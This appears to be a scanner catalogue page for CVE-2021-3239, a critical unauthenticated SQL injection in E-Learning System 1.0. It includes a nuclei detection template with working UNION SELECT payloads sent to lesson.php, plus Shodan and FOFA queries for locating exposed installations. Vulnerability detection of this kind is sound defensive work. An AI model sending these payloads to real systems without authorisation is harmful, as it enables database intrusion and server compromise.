E-Learning System 1.0 - SQL Injection

criticalseverity

9.8CVSS score

18.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

E-Learning System 1.0 contains an unauthenticated SQL injection caused by unsanitized input, letting remote attackers execute arbitrary code on the server and gain a reverse shell, exploit requires no authentication.

Impact

Attackers can execute arbitrary code on the server, leading to full system compromise and remote control.

Fix

Apply input validation and parameterized queries, update to the latest version if available.

How to confirm it

Send: GET {{BaseURL}}/caiwl/lesson.php?id=-1%20UNION%20SELECT%201,2,md5({{num}}),4,5 ; GET {{BaseURL}}/lesson.php?id=-1%20UNION%20SELECT%201,2,md5({{num}}),4,5
Positive when: contains(body, "c8c605999f3d8352d7bb792cf3fdb25b") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-3239 -u <target>

The full check

id: CVE-2021-3239

info:
  name: E-Learning System 1.0 - SQL Injection
  author: xuxeong
  severity: critical
  description: |
   E-Learning System 1.0 contains an unauthenticated SQL injection caused by unsanitized input, letting remote attackers execute arbitrary code on the server and gain a reverse shell, exploit requires no authentication.
  impact: |
   Attackers can execute arbitrary code on the server, leading to full system compromise and remote control.
  remediation: |
   Apply input validation and parameterized queries, update to the latest version if available.
  reference:
    - https://www.exploit-db.com/exploits/49434
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3239
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"E-Learning System"
    fofa-query: title="E-Learning System"
  tags: cve,cve2021,sqli,elearning,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/caiwl/lesson.php?id=-1%20UNION%20SELECT%201,2,md5({{num}}),4,5"
      - "{{BaseURL}}/lesson.php?id=-1%20UNION%20SELECT%201,2,md5({{num}}),4,5"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from